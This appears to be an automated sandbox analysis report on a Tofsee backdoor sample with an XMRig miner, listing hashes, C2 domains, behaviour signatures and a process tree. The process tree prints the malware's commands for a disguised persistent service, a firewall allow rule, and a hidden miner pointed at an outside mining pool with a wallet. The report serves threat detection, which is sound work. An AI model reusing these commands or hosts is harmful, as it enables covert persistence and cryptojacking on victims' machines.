Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-04-2023 03:16

General

  • Target

    file.exe

  • Size

    353KB

  • MD5

    e567aeb73ce7bf997975256590d389d0

  • SHA1

    3f797c94a66592446be7c6740c673f2d804316fc

  • SHA256

    59b6e47cbb8d11735a7de8477ecdf71076238b75f841c188aaafb56e92262721

  • SHA512

    fdc07037de3391d1a647a3ce924ba69035b193a027e7536795de022da4c1b197772969fbc08e2739c7654cdc6a8e5db1ccb525fe52c2f1d1c0c25d06a16a9444

  • SSDEEP

    6144:6lxl9rRDwMdz6XkyLBxp1R7VLcJ2Ofppaz8ugHbbiFt:6PPrCMdWXkyFxp7f/Lsbi

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4560
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\axmrctsz\
      2⤵
        PID:3924
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wqqilvzl.exe" C:\Windows\SysWOW64\axmrctsz\
        2⤵
          PID:2064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create axmrctsz binPath= "C:\Windows\SysWOW64\axmrctsz\wqqilvzl.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description axmrctsz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start axmrctsz
          2⤵
          • Launches sc.exe
          PID:3292
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3928
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4560 -s 1040
          2⤵
          • Program crash
          PID:2828
      • C:\Windows\SysWOW64\axmrctsz\wqqilvzl.exe
        C:\Windows\SysWOW64\axmrctsz\wqqilvzl.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1680
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2368
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4972
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1680 -s 512
          2⤵
          • Program crash
          PID:3532
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4560 -ip 4560
        1⤵
          PID:4868
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1680 -ip 1680
          1⤵
            PID:4048

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\wqqilvzl.exe

            Filesize

            13.3MB

            MD5

            42b34f5e43515f2572b971b2f21b490f

            SHA1

            6d798a1fdf4d4b779c999e4f58202a55406e584c

            SHA256

            2ade36123bceb64bb207b08b6d3df62e5bf426ede8fe6e1c69c07ec4b404c7f9

            SHA512

            d1dc5aad06b1b84ca1e8e357c426339881ffd55413f4ed8fb03337be047742d2acb3b8f79d682c66f90d47edb5be3248e7e21d2c80f44a61769305084f92b6db

          • C:\Windows\SysWOW64\axmrctsz\wqqilvzl.exe

            Filesize

            13.3MB

            MD5

            42b34f5e43515f2572b971b2f21b490f

            SHA1

            6d798a1fdf4d4b779c999e4f58202a55406e584c

            SHA256

            2ade36123bceb64bb207b08b6d3df62e5bf426ede8fe6e1c69c07ec4b404c7f9

            SHA512

            d1dc5aad06b1b84ca1e8e357c426339881ffd55413f4ed8fb03337be047742d2acb3b8f79d682c66f90d47edb5be3248e7e21d2c80f44a61769305084f92b6db

          • memory/1680-145-0x0000000000400000-0x00000000007FD000-memory.dmp

            Filesize

            4.0MB

          • memory/2368-167-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-149-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/2368-143-0x00000000006C0000-0x00000000006D5000-memory.dmp

            Filesize

            84KB

          • memory/2368-168-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-184-0x00000000029F0000-0x00000000029F7000-memory.dmp

            Filesize

            28KB

          • memory/2368-170-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-148-0x00000000006C0000-0x00000000006D5000-memory.dmp

            Filesize

            84KB

          • memory/2368-169-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-152-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/2368-153-0x0000000001BF0000-0x0000000001BF6000-memory.dmp

            Filesize

            24KB

          • memory/2368-156-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-159-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-160-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-162-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-161-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-163-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-164-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-165-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-166-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-183-0x0000000007440000-0x000000000784B000-memory.dmp

            Filesize

            4.0MB

          • memory/2368-144-0x00000000006C0000-0x00000000006D5000-memory.dmp

            Filesize

            84KB

          • memory/2368-140-0x00000000006C0000-0x00000000006D5000-memory.dmp

            Filesize

            84KB

          • memory/2368-146-0x00000000006C0000-0x00000000006D5000-memory.dmp

            Filesize

            84KB

          • memory/2368-171-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-172-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-173-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-174-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-175-0x0000000002750000-0x0000000002760000-memory.dmp

            Filesize

            64KB

          • memory/2368-176-0x00000000029E0000-0x00000000029E5000-memory.dmp

            Filesize

            20KB

          • memory/2368-179-0x00000000029E0000-0x00000000029E5000-memory.dmp

            Filesize

            20KB

          • memory/2368-180-0x0000000007440000-0x000000000784B000-memory.dmp

            Filesize

            4.0MB

          • memory/4560-135-0x0000000002540000-0x0000000002553000-memory.dmp

            Filesize

            76KB

          • memory/4560-138-0x0000000000400000-0x00000000007FD000-memory.dmp

            Filesize

            4.0MB

          • memory/4972-188-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/4972-193-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/4972-194-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/4972-195-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/4972-196-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/4972-197-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/4972-198-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/4972-199-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB